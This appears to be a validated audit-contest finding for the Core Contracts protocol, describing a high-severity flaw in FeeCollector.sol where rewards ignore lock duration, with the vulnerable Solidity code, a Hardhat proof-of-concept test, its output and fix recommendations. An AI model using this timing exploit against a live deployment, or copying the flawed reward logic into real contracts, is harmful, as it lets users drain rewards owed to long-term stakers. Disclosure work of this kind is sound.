Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

FeeCollector.sol: Time-Weight Bypassing in Reward Distribution Allows Unfair Reward Extraction

Summary

The FeeCollector contract's reward distribution mechanism fails to account for token lock duration, allowing users to game rewards by locking tokens just before distribution.

Vulnerability Details

The FeeCollector's reward calculation only considers final voting power at distribution time, ignoring how long tokens were locked. Users can exploit this by:

Waiting until just before fee distribution

Locking tokens briefly

Claiming disproportionate rewards

function _calculatePendingRewards(address user) internal view returns (uint256) {
uint256 userShare = veRAACToken.balanceOf(user);
if (userShare == 0) return 0;
uint256 totalShares = veRAACToken.totalSupply();
if (totalShares == 0) return 0;
// @audit Only checks current voting power, ignores lock duration
return (accumulatedRewards * userShare) / totalShares;
}
function distributeCollectedFees() external whenNotPaused onlyRole(DISTRIBUTOR_ROLE) {
// ... fee distribution logic
// @audit Updates rewards without time-weighting
accumulatedRewards += veRAACShare;
}

Proof of Concept:

describe("FeeCollector Reward Calculation Vulnerability", () => {
it("exploits reward calculation by ignoring time-weighted voting power", async function () {
// User1 locks tokens for full period
await veRAACToken.connect(user1).lock(ethers.parseEther("500"), 365 * 24 * 3600);
// Collect and distribute fees
await feeCollector.connect(user1).collectFee(ethers.parseEther("100"), 0);
await feeCollector.connect(owner).distributeCollectedFees();
// User2 locks tokens at last second
await time.increase(7 * 24 * 3600 - 1);
await veRAACToken.connect(user2).lock(ethers.parseEther("500"), 365 * 24 * 3600);
// Record balances and claim rewards
const user1BalanceBefore = await raacToken.balanceOf(user1.address);
const user2BalanceBefore = await raacToken.balanceOf(user2.address);
await feeCollector.connect(user1).claimRewards(user1.address);
await feeCollector.connect(user2).claimRewards(user2.address);
const user1Rewards = await raacToken.balanceOf(user1.address) - user1BalanceBefore;
const user2Rewards = await raacToken.balanceOf(user2.address) - user2BalanceBefore;
console.log("User1 rewards (full period):", ethers.formatEther(user1Rewards));
console.log("User2 rewards (last second):", ethers.formatEther(user2Rewards));
// Proves vulnerability: User2 gets more rewards with only 1 second lock
expect(user2Rewards).to.be.gt(user1Rewards);
});
});

PoC Results:

FeeCollector Math Functions
Gas Optimization
FeeCollector Reward Calculation Vulnerability
User1 rewards (full period): 24.520543188736751236
User2 rewards (last second): 24.999998414510400812
✔ exploits reward calculation by ignoring time-weighted voting power (10202ms)
30 passing (6m)

Impact

Long-term stakers receive diluted rewards

System can be gamed by timing locks

Undermines intended tokenomics and staking incentives

Tools Used

Manual review

Hardhat test suite

Recommendations

Implement time-weighted voting power by:

Track lock timestamps in distribution periods

Weight rewards based on lock duration in period

Add checkpoint mechanism to capture historical voting power

Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Time-Weighted Average Logic is Not Applied to Reward Distribution in `FeeCollector`

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Time-Weighted Average Logic is Not Applied to Reward Distribution in `FeeCollector`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.